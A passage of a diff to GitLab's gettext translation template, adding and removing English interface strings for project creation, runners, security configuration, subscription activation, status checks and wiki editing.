+msgid "Profiles|Public avatar"
msgstr ""
msgid "Profiles|Public email"
@@ -25081,6 +25586,9 @@ msgstr ""
msgid "Project info:"
msgstr ""
+msgid "Project information"
+msgstr ""
+
msgid "Project is required when cluster_type is :project"
msgstr ""
@@ -25234,9 +25742,6 @@ msgstr ""
msgid "ProjectService|Must have permission to trigger a manual build in TeamCity."
msgstr ""
-msgid "ProjectService|New issue URL"
-msgstr ""
-
msgid "ProjectService|Perform common operations on GitLab project: %{project_name}"
msgstr ""
@@ -25711,9 +26216,6 @@ msgstr ""
msgid "Projects shared with %{group_name}"
msgstr ""
-msgid "Projects that belong to a group are prefixed with the group namespace. Existing projects may be moved into a group."
-msgstr ""
-
msgid "Projects to index"
msgstr ""
@@ -25765,12 +26267,6 @@ msgstr ""
msgid "ProjectsNew|Allows you to immediately clone this project’s repository. Skip this if you plan to push up an existing repository."
msgstr ""
-msgid "ProjectsNew|Blank"
-msgstr ""
-
-msgid "ProjectsNew|Blank project"
-msgstr ""
-
msgid "ProjectsNew|Connect your external repository to GitLab CI/CD."
msgstr ""
@@ -25783,6 +26279,9 @@ msgstr ""
msgid "ProjectsNew|Create a blank project to house your files, plan your work, and collaborate on code, among other things."
msgstr ""
+msgid "ProjectsNew|Create a project pre-populated with the necessary files to get you started quickly."
+msgstr ""
+
msgid "ProjectsNew|Create blank project"
msgstr ""
@@ -25795,9 +26294,6 @@ msgstr ""
msgid "ProjectsNew|Create new project"
msgstr ""
-msgid "ProjectsNew|Creating project & repository."
-msgstr ""
-
msgid "ProjectsNew|Description format"
msgstr ""
@@ -25813,10 +26309,10 @@ msgstr ""
msgid "ProjectsNew|Initialize repository with a README"
msgstr ""
-msgid "ProjectsNew|No import options available"
+msgid "ProjectsNew|Migrate your data from an external source like GitHub, Bitbucket, or another instance of GitLab."
msgstr ""
-msgid "ProjectsNew|Please wait a moment, this page will automatically refresh when ready."
+msgid "ProjectsNew|No import options available"
msgstr ""
msgid "ProjectsNew|Project description %{tag_start}(optional)%{tag_end}"
@@ -25825,9 +26321,6 @@ msgstr ""
msgid "ProjectsNew|Run CI/CD for external repository"
msgstr ""
-msgid "ProjectsNew|Template"
-msgstr ""
-
msgid "ProjectsNew|Visibility Level"
msgstr ""
@@ -26575,9 +27068,6 @@ msgstr ""
msgid "Reconfigure"
msgstr ""
-msgid "Recover hidden stage"
-msgstr ""
-
msgid "Recovering projects"
msgstr ""
@@ -26587,6 +27077,9 @@ msgstr ""
msgid "Redirect to SAML provider to test configuration"
msgstr ""
+msgid "Redirecting"
+msgstr ""
+
msgid "Redis"
msgstr ""
@@ -26685,7 +27178,7 @@ msgstr ""
msgid "Regulate approvals by authors/committers. Affects all projects."
msgstr ""
-msgid "Reindexing Status: %{status}"
+msgid "Reindexing Status: %{status} (Slice multiplier: %{multiplier}, Maximum running slices: %{max_slices})"
msgstr ""
msgid "Rejected (closed)"
@@ -26918,9 +27411,6 @@ msgstr ""
msgid "Remove spent time"
msgstr ""
-msgid "Remove stage"
-msgstr ""
-
msgid "Remove time estimate"
msgstr ""
@@ -26936,6 +27426,9 @@ msgstr ""
msgid "Remove user from project"
msgstr ""
+msgid "Remove..."
+msgstr ""
+
msgid "Removed"
msgstr ""
@@ -27879,6 +28372,18 @@ msgstr ""
msgid "Runners|New runner, has not connected yet"
msgstr ""
+msgid "Runners|Not connected"
+msgstr ""
+
+msgid "Runners|Offline"
+msgstr ""
+
+msgid "Runners|Online"
+msgstr ""
+
+msgid "Runners|Paused"
+msgstr ""
+
msgid "Runners|Platform"
msgstr ""
@@ -28456,16 +28961,25 @@ msgstr ""
msgid "SecurityConfiguration|Available with %{linkStart}upgrade or free trial%{linkEnd}"
msgstr ""
+msgid "SecurityConfiguration|Available with Ultimate"
+msgstr ""
+
msgid "SecurityConfiguration|By default, all analyzers are applied in order to cover all languages across your project, and only run if the language is detected in the Merge Request."
msgstr ""
+msgid "SecurityConfiguration|Compliance"
+msgstr ""
+
+msgid "SecurityConfiguration|Configuration guide"
+msgstr ""
+
msgid "SecurityConfiguration|Configure"
msgstr ""
-msgid "SecurityConfiguration|Configure via Merge Request"
+msgid "SecurityConfiguration|Configure %{feature}"
msgstr ""
-msgid "SecurityConfiguration|Configure via merge request"
+msgid "SecurityConfiguration|Configure via Merge Request"
msgstr ""
msgid "SecurityConfiguration|Could not retrieve configuration data. Please refresh the page, or try again later."
@@ -28480,6 +28994,9 @@ msgstr ""
msgid "SecurityConfiguration|Enable"
msgstr ""
+msgid "SecurityConfiguration|Enable %{feature}"
+msgstr ""
+
msgid "SecurityConfiguration|Enabled"
msgstr ""
@@ -28492,6 +29009,9 @@ msgstr ""
msgid "SecurityConfiguration|Manage"
msgstr ""
+msgid "SecurityConfiguration|Manage scans"
+msgstr ""
+
msgid "SecurityConfiguration|More information"
msgstr ""
@@ -28504,10 +29024,10 @@ msgstr ""
msgid "SecurityConfiguration|SAST Configuration"
msgstr ""
-msgid "SecurityConfiguration|SAST merge request creation mutation failed"
+msgid "SecurityConfiguration|Security Control"
msgstr ""
-msgid "SecurityConfiguration|Security Control"
+msgid "SecurityConfiguration|Security testing"
msgstr ""
msgid "SecurityConfiguration|Status"
@@ -28516,6 +29036,9 @@ msgstr ""
msgid "SecurityConfiguration|Testing & Compliance"
msgstr ""
+msgid "SecurityConfiguration|The status of the tools only applies to the default branch and is based on the %{linkStart}latest pipeline%{linkEnd}. Once you've enabled a scan for the default branch, any subsequent feature branch you create will include the scan."
+msgstr ""
+
msgid "SecurityConfiguration|Using custom settings. You won't receive automatic updates on this variable. %{anchorStart}Restore to default%{anchorEnd}"
msgstr ""
@@ -28570,6 +29093,9 @@ msgstr ""
msgid "SecurityReports|Configure security testing"
msgstr ""
+msgid "SecurityReports|Coverage fuzzing"
+msgstr ""
+
msgid "SecurityReports|Create Jira issue"
msgstr ""
@@ -28588,9 +29114,6 @@ msgstr ""
msgid "SecurityReports|Download %{artifactName}"
msgstr ""
-msgid "SecurityReports|Download Report"
-msgstr ""
-
msgid "SecurityReports|Download results"
msgstr ""
@@ -28612,9 +29135,6 @@ msgstr ""
msgid "SecurityReports|Failed to get security report information. Please reload the page or try again later."
msgstr ""
-msgid "SecurityReports|Fuzzing artifacts"
-msgstr ""
-
msgid "SecurityReports|Hide dismissed"
msgstr ""
@@ -28783,6 +29303,9 @@ msgstr ""
msgid "SecurityReports|Your feedback is important to us! We will ask again in a week."
msgstr ""
+msgid "See example DevOps Score page in our documentation."
+msgstr ""
+
msgid "See metrics"
msgstr ""
@@ -28849,6 +29372,9 @@ msgstr ""
msgid "Select a repository"
msgstr ""
+msgid "Select a shared template repository for all projects on this instance."
+msgstr ""
+
msgid "Select a template repository"
msgstr ""
@@ -29083,6 +29609,9 @@ msgstr ""
msgid "Serverless domain"
msgstr ""
+msgid "Serverless platform"
+msgstr ""
+
msgid "ServerlessDetails|Function invocation metrics require Prometheus to be installed first."
msgstr ""
@@ -29236,9 +29765,6 @@ msgstr ""
msgid "Set due date"
msgstr ""
-msgid "Set instance-wide template repository"
-msgstr ""
-
msgid "Set iteration"
msgstr ""
@@ -29473,9 +29999,6 @@ msgstr ""
msgid "Shared runners are disabled on group level"
msgstr ""
-msgid "Shared runners disabled on group level"
-msgstr ""
-
msgid "Shared runners help link"
msgstr ""
@@ -29714,6 +30237,12 @@ msgstr ""
msgid "Sign-up restrictions"
msgstr ""
+msgid "SignUp|By clicking %{button_text}, I agree that I have read and accepted the %{link_start}Terms of Use and Privacy Policy%{link_end}"
+msgstr ""
+
+msgid "SignUp|By clicking %{button_text}, I agree that I have read and accepted the GitLab %{link_start}Terms of Use and Privacy Policy%{link_end}"
+msgstr ""
+
msgid "SignUp|First name is too long (maximum is %{max_length} characters)."
msgstr ""
@@ -29807,6 +30336,9 @@ msgstr ""
msgid "SlackService|This service allows users to perform common operations on this project by entering slash commands in Slack."
msgstr ""
+msgid "Slice multiplier"
+msgstr ""
+
msgid "Smartcard"
msgstr ""
@@ -30044,6 +30576,9 @@ msgstr ""
msgid "Something went wrong while setting %{issuableType} confidentiality."
msgstr ""
+msgid "Something went wrong while setting %{issuableType} notifications."
+msgstr ""
+
msgid "Something went wrong while stopping this environment. Please try again."
msgstr ""
@@ -30350,6 +30885,9 @@ msgstr ""
msgid "Speed up your pipelines with Needs relationships"
msgstr ""
+msgid "Spent At"
+msgstr ""
+
msgid "Squash commit message"
msgstr ""
@@ -30365,10 +30903,13 @@ msgstr ""
msgid "Stage"
msgstr ""
-msgid "Stage data updated"
+msgid "StageName|Build"
+msgstr ""
+
+msgid "StageName|Deploy"
msgstr ""
-msgid "Stage removed"
+msgid "StageName|Test"
msgstr ""
msgid "Standard"
@@ -30590,18 +31131,57 @@ msgstr ""
msgid "StatusCheck|API to check"
msgstr ""
+msgid "StatusCheck|Add status check"
+msgstr ""
+
+msgid "StatusCheck|An error occurred deleting the %{name} status check."
+msgstr ""
+
+msgid "StatusCheck|An error occurred fetching the status checks."
+msgstr ""
+
+msgid "StatusCheck|Apply this status check to any branch or a specific protected branch."
+msgstr ""
+
+msgid "StatusCheck|Check for a status response in Merge Requests. Failures do not block merges. %{link_start}Learn more%{link_end}."
+msgstr ""
+
+msgid "StatusCheck|Examples: QA, Security."
+msgstr ""
+
+msgid "StatusCheck|External API is already in use by another status check."
+msgstr ""
+
msgid "StatusCheck|Invoke an external API as part of the approvals"
msgstr ""
+msgid "StatusCheck|Invoke an external API as part of the pipeline process."
+msgstr ""
+
+msgid "StatusCheck|No status checks are defined yet."
+msgstr ""
+
msgid "StatusCheck|Remove status check"
msgstr ""
msgid "StatusCheck|Remove status check?"
msgstr ""
+msgid "StatusCheck|Service name"
+msgstr ""
+
+msgid "StatusCheck|Status checks"
+msgstr ""
+
msgid "StatusCheck|Status to check"
msgstr ""
+msgid "StatusCheck|Target branch"
+msgstr ""
+
+msgid "StatusCheck|Update status check"
+msgstr ""
+
msgid "StatusCheck|You are about to remove the %{name} status check."
msgstr ""
@@ -30635,9 +31215,6 @@ msgstr ""
msgid "StatusPage|Status page URL"
msgstr ""
-msgid "StatusPage|Status page frontend documentation"
-msgstr ""
-
msgid "StatusPage|To publish incidents to an external status page, GitLab stores a JSON file in your Amazon S3 account at a location that your external status page service can access. Make sure to also set up %{docsLink}"
msgstr ""
@@ -30692,6 +31269,9 @@ msgstr ""
msgid "StorageSize|Unknown"
msgstr ""
+msgid "Subgroup information"
+msgstr ""
+
msgid "Subgroup milestone"
msgstr ""
@@ -30797,6 +31377,9 @@ msgstr ""
msgid "Subscription deletion failed."
msgstr ""
+msgid "Subscription service outage"
+msgstr ""
+
msgid "Subscription successfully applied to \"%{group_name}\""
msgstr ""
@@ -30908,6 +31491,9 @@ msgstr ""
msgid "Successfully approved"
msgstr ""
+msgid "Successfully banned"
+msgstr ""
+
msgid "Successfully blocked"
msgstr ""
@@ -30932,6 +31518,9 @@ msgstr ""
msgid "Successfully synced %{synced_timeago}."
msgstr ""
+msgid "Successfully unbanned"
+msgstr ""
+
msgid "Successfully unblocked"
msgstr ""
@@ -31043,42 +31632,93 @@ msgstr ""
msgid "Sunday"
msgstr ""
+msgid "SuperSonics|Activate"
+msgstr ""
+
+msgid "SuperSonics|Activate subscription"
+msgstr ""
+
msgid "SuperSonics|Activated on"
msgstr ""
+msgid "SuperSonics|Activation code"
+msgstr ""
+
+msgid "SuperSonics|An error occurred while activating your subscription."
+msgstr ""
+
+msgid "SuperSonics|Billable users"
+msgstr ""
+
+msgid "SuperSonics|Buy subscription"
+msgstr ""
+
+msgid "SuperSonics|Enter activation code"
+msgstr ""
+
msgid "SuperSonics|Expires on"
msgstr ""
+msgid "SuperSonics|Free trial"
+msgstr ""
+
+msgid "SuperSonics|Get help for the most common connectivity issues by %{linkStart}troubleshooting the activation code%{linkEnd}."
+msgstr ""
+
+msgid "SuperSonics|I agree that my use of the GitLab Software is subject to the Subscription Agreement located at the %{linkStart}Terms of Service%{linkEnd}, unless otherwise agreed to in writing with GitLab."
+msgstr ""
+
msgid "SuperSonics|ID"
msgstr ""
msgid "SuperSonics|Last Sync"
msgstr ""
+msgid "SuperSonics|Learn how to %{linkStart}activate your subscription%{linkEnd}."
+msgstr ""
+
msgid "SuperSonics|Licensed to"
msgstr ""
msgid "SuperSonics|Manage"
msgstr ""
+msgid "SuperSonics|Maximum users"
+msgstr ""
+
+msgid "SuperSonics|Paste your activation code"
+msgstr ""
+
msgid "SuperSonics|Plan"
msgstr ""
+msgid "SuperSonics|Ready to get started? A GitLab plan is ideal for scaling organizations and for multi team usage."
+msgstr ""
+
msgid "SuperSonics|Renews"
msgstr ""
msgid "SuperSonics|Seats"
msgstr ""
+msgid "SuperSonics|Start free trial"
+msgstr ""
+
msgid "SuperSonics|Started"
msgstr ""
+msgid "SuperSonics|Subscription"
+msgstr ""
+
msgid "SuperSonics|Subscription details"
msgstr ""
msgid "SuperSonics|Sync subscription details"
msgstr ""
+msgid "SuperSonics|The activation code is not valid. Please make sure to copy it exactly from the Customers Portal or confirmation email. Learn more about %{linkStart}activating your subscription%{linkEnd}."
+msgstr ""
+
msgid "SuperSonics|The subscription details synced successfully."
msgstr ""
@@ -31088,18 +31728,48 @@ msgstr ""
msgid "SuperSonics|This field is required."
msgstr ""
+msgid "SuperSonics|This is the highest peak of users on your installation since the license started."
+msgstr ""
+
+msgid "SuperSonics|This is the number of %{billableUsersLinkStart}billable users%{billableUsersLinkEnd} on your installation, and this is the minimum number you need to purchase when you renew your license."
+msgstr ""
+
+msgid "SuperSonics|To activate your subscription, connect to GitLab servers through the %{linkStart}Cloud Licensing%{linkEnd} service, a hassle-free way to manage your subscription."
+msgstr ""
+
msgid "SuperSonics|Type"
msgstr ""
+msgid "SuperSonics|Upload a legacy license"
+msgstr ""
+
+msgid "SuperSonics|Users in subscription"
+msgstr ""
+
+msgid "SuperSonics|Users over subscription"
+msgstr ""
+
+msgid "SuperSonics|Users with a Guest role or those who don't belong to a Project or Group will not use a seat from your license."
+msgstr ""
+
msgid "SuperSonics|Valid From"
msgstr ""
+msgid "SuperSonics|You can learn more about %{activationLinkStart}activating your subscription%{activationLinkEnd}. If you need further assistance, please %{supportLinkStart}contact GitLab Support%{supportLinkEnd}."
+msgstr ""
+
msgid "SuperSonics|You can no longer sync your subscription details with GitLab. Get help for the most common connectivity issues by %{connectivityHelpLinkStart}troubleshooting the activation code%{connectivityHelpLinkEnd}."
msgstr ""
+msgid "SuperSonics|You can start a free trial of GitLab Ultimate without any obligation or payment details."
+msgstr ""
+
msgid "SuperSonics|You do not have an active subscription"
msgstr ""
+msgid "SuperSonics|You'll be charged for %{trueUpLinkStart}users over license%{trueUpLinkEnd} on a quarterly or annual basis, depending on the terms of your agreement."
+msgstr ""
+
msgid "SuperSonics|Your subscription"
msgstr ""
@@ -31118,6 +31788,9 @@ msgstr ""
msgid "Survey Response"
msgstr ""
+msgid "Switch Branch"
+msgstr ""
+
msgid "Switch branch/tag"
msgstr ""
@@ -31340,6 +32013,9 @@ msgstr ""
msgid "Template to append to all Service Desk issues"
msgstr ""
+msgid "TemplateRepository|Select a repository to make its templates available to all projects. %{link_start}What should the repository contain?%{link_end} "
+msgstr ""
+
msgid "Templates"
msgstr ""
@@ -31494,9 +32170,6 @@ msgstr ""
msgid "Test Cases"
msgstr ""
-msgid "Test cases are not available for this project"
-msgstr ""
-
msgid "Test coverage parsing"
msgstr ""
@@ -31636,6 +32309,9 @@ msgstr ""
msgid "Tests"
msgstr ""
+msgid "Text style"
+msgstr ""
+
msgid "Thank you for signing up for your free trial! You will get additional instructions in your inbox shortly."
msgstr ""
@@ -31666,7 +32342,7 @@ msgstr ""
msgid "The \"%{group_path}\" group allows you to sign in with your Single Sign-On Account"
msgstr ""
-msgid "The \"Require approval from CODEOWNERS\" setting was moved to %{banner_link_start}Protected Branches%{banner_link_end}"
+msgid "The %{featureName} feature is part of your GitLab Ultimate trial."
msgstr ""
msgid "The %{link_start}true-up model%{link_end} allows having more users, and additional users will incur a retroactive charge on renewal."
@@ -31689,6 +32365,9 @@ msgstr ""
msgid "The Compliance Dashboard gives you the ability to see a group's merge request activity by providing a high-level view for all projects in the group."
msgstr ""
+msgid "The GitLab subscription service (customers.gitlab.com) is currently experiencing an outage. You can monitor the status and get updates at %{linkStart}status.gitlab.com%{linkEnd}."
+msgstr ""
+
msgid "The GitLab user to which the Jira user %{jiraDisplayName} will be mapped"
msgstr ""
@@ -31880,6 +32559,9 @@ msgstr ""
msgid "The interval must be one of %{intervals}."
msgstr ""
+msgid "The invitation can not be found with the provided invite token."
+msgstr ""
+
msgid "The invitation could not be accepted."
msgstr ""
@@ -31925,6 +32607,9 @@ msgstr ""
msgid "The maximum file size is %{size}."
msgstr ""
+msgid "The maximum number of slices allowed to run concurrently during Elasticsearch reindexing. Learn more about %{max_slices_running_link_start}maximum running slices configuration%{max_slices_link_end}."
+msgstr ""
+
msgid "The maximum number of tags that a single worker accepts for cleanup. If the number of tags goes above this limit, the list of tags to delete is truncated to this number. To remove this limit, set it to 0."
msgstr ""
@@ -31943,9 +32628,6 @@ msgstr ""
msgid "The merge request can now be merged."
msgstr ""
-msgid "The merge request has made changes to this file that affect the number of code quality violations in it."
-msgstr ""
-
msgid "The metric must be one of %{metrics}."
msgstr ""
@@ -32249,9 +32931,6 @@ msgstr ""
msgid "There are running deployments on the environment. Please retry later."
msgstr ""
-msgid "There is a connectivity issue"
-msgstr ""
-
msgid "There is a halted Elasticsearch migration"
msgstr ""
@@ -32318,12 +32997,6 @@ msgstr ""
msgid "There was a problem fetching users."
msgstr ""
-msgid "There was a problem refreshing the data, please try again"
-msgstr ""
-
-msgid "There was a problem saving your custom stage, please try again"
-msgstr ""
-
msgid "There was a problem sending the confirmation email"
msgstr ""
@@ -32351,6 +33024,9 @@ msgstr ""
msgid "There was an error fetching configuration for charts"
msgstr ""
+msgid "There was an error fetching content, please refresh the page"
+msgstr ""
+
msgid "There was an error fetching data for the selected stage"
msgstr ""
@@ -32414,9 +33090,6 @@ msgstr ""
msgid "There was an error removing the e-mail."
msgstr ""
-msgid "There was an error removing your custom stage, please try again"
-msgstr ""
-
msgid "There was an error resetting group pipeline minutes."
msgstr ""
@@ -32459,9 +33132,6 @@ msgstr ""
msgid "There was an error updating the dashboard, branch named: %{branch} already exists."
msgstr ""
-msgid "There was an error updating the stage order. Please try reloading the page."
-msgstr ""
-
msgid "There was an error when reseting email token."
msgstr ""
@@ -32585,7 +33255,10 @@ msgstr ""
msgid "This also resolves this thread"
msgstr ""
-msgid "This application was created by %{link_to_owner}."
+msgid "This application was created by %{user_link}."
+msgstr ""
+
+msgid "This application was created for group %{group_link}."
msgstr ""
msgid "This application will be able to:"
@@ -32687,9 +33360,6 @@ msgstr ""
msgid "This feature requires local storage to be enabled"
msgstr ""
-msgid "This feature should be used with an index that was created after 13.0"
-msgstr ""
-
msgid "This field is required."
msgstr ""
@@ -33023,6 +33693,9 @@ msgstr ""
msgid "This user has the %{access} role in the %{name} project."
msgstr ""
+msgid "This user is banned"
+msgstr ""
+
msgid "This user is blocked"
msgstr ""
@@ -33065,9 +33738,6 @@ msgstr ""
msgid "ThreatMonitoring|Anomalous Requests"
msgstr ""
-msgid "ThreatMonitoring|Application firewall not detected"
-msgstr ""
-
msgid "ThreatMonitoring|Container Network Policies are not installed or have been disabled. To view this data, ensure your Network Policies are installed and enabled for your cluster."
msgstr ""
@@ -33092,6 +33762,9 @@ msgstr ""
msgid "ThreatMonitoring|Events"
msgstr ""
+msgid "ThreatMonitoring|Failed to create incident, please try again."
+msgstr ""
+
msgid "ThreatMonitoring|Hide dismissed alerts"
msgstr ""
@@ -33143,9 +33816,6 @@ msgstr ""
msgid "ThreatMonitoring|Status"
msgstr ""
-msgid "ThreatMonitoring|The firewall is not installed or has been disabled. To view this data, ensure the web application firewall is installed and enabled for your cluster."
-msgstr ""
-
msgid "ThreatMonitoring|There was an error displaying the alerts. Confirm your endpoint's configuration details to ensure alerts appear."
msgstr ""
@@ -33176,12 +33846,6 @@ msgstr ""
msgid "ThreatMonitoring|View documentation"
msgstr ""
-msgid "ThreatMonitoring|Web Application Firewall"
-msgstr ""
-
-msgid "ThreatMonitoring|While it's rare to have no traffic coming to your application, it can happen. In any event, we ask that you double check your settings to make sure you've set up the WAF correctly."
-msgstr ""
-
msgid "Throughput"
msgstr ""
@@ -33191,6 +33855,9 @@ msgstr ""
msgid "Time"
msgstr ""
+msgid "Time Spent"
+msgstr ""
+
msgid "Time based: Yes"
msgstr ""
@@ -33242,6 +33909,9 @@ msgstr ""
msgid "Time tracking"
msgstr ""
+msgid "Time tracking report"
+msgstr ""
+
msgid "Time until first merge request"
msgstr ""
@@ -33417,9 +34087,6 @@ msgstr[1] ""
msgid "Time|s"
msgstr ""
-msgid "Tip:"
-msgstr ""
-
msgid "Tip: Hover over a job to see the jobs it depends on to run."
msgstr ""
@@ -33534,9 +34201,6 @@ msgstr ""
msgid "To only use CI/CD features for an external repository, choose %{strong_open}CI/CD for external repo%{strong_close}."
msgstr ""
-msgid "To open Jaeger from GitLab to view tracing from the %{link} page, add a URL to your Jaeger server."
-msgstr ""
-
msgid "To pass variables to the triggered pipeline, add %{code_start}variables[VARIABLE]=VALUE%{code_end} to the API request."
msgstr ""
@@ -33654,13 +34318,13 @@ msgstr ""
msgid "Toggle project select"
msgstr ""
-msgid "Toggle sidebar"
+msgid "Toggle shortcuts"
msgstr ""
-msgid "Toggle the Performance Bar"
+msgid "Toggle sidebar"
msgstr ""
-msgid "Toggle this dialog"
+msgid "Toggle the Performance Bar"
msgstr ""
msgid "Toggle thread"
@@ -33690,9 +34354,6 @@ msgstr ""
msgid "Too many projects enabled. You will need to manage them via the console or the API."
msgstr ""
-msgid "Too much data"
-msgstr ""
-
msgid "Topics (optional)"
msgstr ""
@@ -33890,6 +34551,9 @@ msgstr ""
msgid "Trigger cluster reindexing"
msgstr ""
+msgid "Trigger cluster reindexing. This feature should be used with an index that was created after 13.0."
+msgstr ""
+
msgid "Trigger manual job"
msgstr ""
@@ -34115,6 +34779,9 @@ msgstr ""
msgid "Unable to fetch branch list for this project."
msgstr ""
+msgid "Unable to fetch branches list, please close the form and try again"
+msgstr ""
+
msgid "Unable to fetch unscanned projects"
msgstr ""
@@ -34358,6 +35025,9 @@ msgstr ""
msgid "Until"
msgstr ""
+msgid "Unused"
+msgstr ""
+
msgid "Unused, previous indices: %{index_names} will be deleted after %{time} automatically."
msgstr ""
@@ -34517,6 +35187,9 @@ msgstr ""
msgid "Upload file"
msgstr ""
+msgid "Upload license"
+msgstr ""
+
msgid "Upload object map"
msgstr ""
@@ -34838,6 +35511,9 @@ msgstr ""
msgid "Use your smart card to authenticate with the LDAP server."
msgstr ""
+msgid "Used"
+msgstr ""
+
msgid "Used by members to sign in to your group in GitLab"
msgstr ""
@@ -34847,6 +35523,9 @@ msgstr ""
msgid "Used programming language"
msgstr ""
+msgid "Used to calculate the number of slices during reindexing. The multiplier will be applied to the number of shards per index. Learn more about %{slice_multiplier_link_start}slice multiplier configuration%{slice_multiplier_link_end}."
+msgstr ""
+
msgid "Used to help configure your identity provider"
msgstr ""
@@ -34955,27 +35634,45 @@ msgstr ""
msgid "UserLists|Feature flag user list"
msgstr ""
+msgid "UserLists|Get started with user lists"
+msgstr ""
+
msgid "UserLists|Lists allow you to define a set of users to be used with feature flags. %{linkStart}Read more about feature flag lists.%{linkEnd}"
msgstr ""
+msgid "UserLists|Loading user lists"
+msgstr ""
+
msgid "UserLists|Name"
msgstr ""
msgid "UserLists|New list"
msgstr ""
+msgid "UserLists|New user list"
+msgstr ""
+
msgid "UserLists|Save"
msgstr ""
msgid "UserLists|There are no users"
msgstr ""
+msgid "UserLists|There was an error fetching the user lists."
+msgstr ""
+
msgid "UserLists|User ID"
msgstr ""
msgid "UserLists|User IDs"
msgstr ""
+msgid "UserLists|User Lists"
+msgstr ""
+
+msgid "UserLists|User lists allow you to define a set of users to use with Feature Flags."
+msgstr ""
+
msgid "UserList|Delete %{name}?"
msgstr ""
@@ -35108,6 +35805,9 @@ msgstr ""
msgid "UserProfile|made a private contribution"
msgstr ""
+msgid "Username (for password-protected Elasticsearch servers)"
+msgstr ""
+
msgid "Username (optional)"
msgstr ""
@@ -35129,6 +35829,9 @@ msgstr ""
msgid "Users"
msgstr ""
+msgid "Users can launch a development environment from a GitLab browser tab when the %{linkStart}Gitpod%{linkEnd} integration is enabled."
+msgstr ""
+
msgid "Users in License"
msgstr ""
@@ -35240,6 +35943,9 @@ msgstr ""
msgid "ValueStreamAnalytics|Total number of deploys to production."
msgstr ""
+msgid "ValueStreamEvent|Items in stage"
+msgstr ""
+
msgid "ValueStreamEvent|Stage time (median)"
msgstr ""
@@ -35805,15 +36511,15 @@ msgstr ""
msgid "We don't have enough data to show this stage."
msgstr ""
-msgid "We encountered an error and our team has been notified. Please try again."
-msgstr ""
-
msgid "We have found the following errors:"
msgstr ""
msgid "We heard back from your device. You have been authenticated."
msgstr ""
+msgid "We love speaking to our users. Got more to say about your GitLab experiences?"
+msgstr ""
+
msgid "We recommend cloud-based mobile authenticator apps such as Authy, Duo Mobile, and LastPass. They can restore access if you lose your hardware device."
msgstr ""
@@ -35853,9 +36559,6 @@ msgstr ""
msgid "We've found no vulnerabilities"
msgstr ""
-msgid "Web Application Firewall"
-msgstr ""
-
msgid "Web IDE"
msgstr ""
@@ -35883,16 +36586,16 @@ msgstr ""
msgid "WebIDE|This project does not accept unsigned commits."
msgstr ""
-msgid "WebIDE|This project does not accept unsigned commits. You will not be able to commit your changes through the Web IDE."
+msgid "WebIDE|This project does not accept unsigned commits. You can’t commit changes through the Web IDE."
msgstr ""
-msgid "WebIDE|You need permission to edit files directly in this project."
+msgid "WebIDE|You can’t edit files directly in this project. Fork this project and submit a merge request with your changes."
msgstr ""
-msgid "WebIDE|You need permission to edit files directly in this project. Fork this project to make your changes and submit a merge request."
+msgid "WebIDE|You can’t edit files directly in this project. Go to your fork and submit a merge request with your changes."
msgstr ""
-msgid "WebIDE|You need permission to edit files directly in this project. Go to your fork to make changes and submit a merge request."
+msgid "WebIDE|You need permission to edit files directly in this project."
msgstr ""
msgid "WebexTeamsService|Send notifications about project events to Webex Teams."
@@ -35925,9 +36628,6 @@ msgstr ""
msgid "Webhooks allow you to trigger a URL if, for example, new code is pushed or a new issue is created. You can configure webhooks to listen for specific events like pushes, issues or merge requests. Group webhooks will apply to all projects in a group, allowing you to standardize webhook functionality across your entire group."
msgstr ""
-msgid "Webhooks have moved. They can now be found under the Settings menu."
-msgstr ""
-
msgid "Webhooks|Comments"
msgstr ""
@@ -36170,6 +36870,9 @@ msgstr ""
msgid "Who will be using this GitLab trial?"
msgstr ""
+msgid "Why are you signing up? (Optional)"
+msgstr ""
+
msgid "Wiki"
msgstr ""
@@ -36278,6 +36981,12 @@ msgstr ""
msgid "WikiPageConflictMessage|Someone edited the page the same time you did. Please check out %{wikiLinkStart}the page%{wikiLinkEnd} and make sure your changes will not unintentionally remove theirs."
msgstr ""
+msgid "WikiPage|An error occured while trying to render the content editor. Please try again later."
+msgstr ""
+
+msgid "WikiPage|Are you sure you want to switch to the old editor?"
+msgstr ""
+
msgid "WikiPage|Cancel"
msgstr ""
@@ -36296,12 +37005,18 @@ msgstr ""
msgid "WikiPage|Format"
msgstr ""
+msgid "WikiPage|Keep editing"
+msgstr ""
+
msgid "WikiPage|More Information."
msgstr ""
msgid "WikiPage|Page title"
msgstr ""
+msgid "WikiPage|Retry"
+msgstr ""
+
msgid "WikiPage|Save changes"
msgstr ""
@@ -36311,6 +37026,12 @@ msgstr ""
msgid "WikiPage|Switching to the old editor will discard any changes you've made in the new editor."
msgstr ""
+msgid "WikiPage|Switching will discard any changes you've made in the new editor."
+msgstr ""
+
+msgid "WikiPage|This editor is in beta and may not display the page's contents properly."
+msgstr ""
+
msgid "WikiPage|Tip: You can move this page by adding the path to the beginning of the title."
msgstr ""
@@ -36332,9 +37053,6 @@ msgstr ""
msgid "WikiPage|Write your content or drag files here…"
msgstr ""
-msgid "WikiPage|You are editing this page with Content Editor. This editor is in beta and may not display the page's contents properly."
-msgstr ""
-
msgid "Wikis"
msgstr ""
@@ -36503,6 +37221,9 @@ msgstr ""
msgid "You are not allowed to approve a user"
msgstr ""
+msgid "You are not allowed to log in using password"
+msgstr ""
+
msgid "You are not allowed to push into this branch. Create another branch or open a merge request."
msgstr ""
@@ -36707,6 +37428,9 @@ msgstr ""
msgid "You cannot write to this read-only GitLab instance."
msgstr ""
+msgid "You can’t %{tag_start}edit%{tag_end} files directly in this project. Fork this project and submit a merge request with your changes."
+msgstr ""
+
msgid "You could not create a new trigger."
msgstr ""
@@ -36818,9 +37542,15 @@ msgstr ""
msgid "You have insufficient permissions to create an HTTP integration for this project"
msgstr ""
+msgid "You have insufficient permissions to create an escalation policy for this project"
+msgstr ""
+
msgid "You have insufficient permissions to create an on-call schedule for this project"
msgstr ""
+msgid "You have insufficient permissions to remove an escalation policy from this project"
+msgstr ""
+
msgid "You have insufficient permissions to remove an on-call rotation from this project"
msgstr ""
@@ -37103,10 +37833,10 @@ msgstr ""
msgid "Your SSH keys (%{count})"
msgstr ""
-msgid "Your SSH keys with the following fingerprints are scheduled to expire soon:"
+msgid "Your SSH keys with the following fingerprints are scheduled to expire soon. Expired SSH keys will not be usable in future versions of GitLab:"
msgstr ""
-msgid "Your SSH keys with the following fingerprints has expired:"
+msgid "Your SSH keys with the following fingerprints have expired. Expired SSH keys will not be usable in future versions of GitLab:"
msgstr ""
msgid "Your To-Do List"
@@ -37145,6 +37875,9 @@ msgstr ""
msgid "Your authorized applications"
msgstr ""
+msgid "Your browser does not support iFrames"
+msgstr ""
+
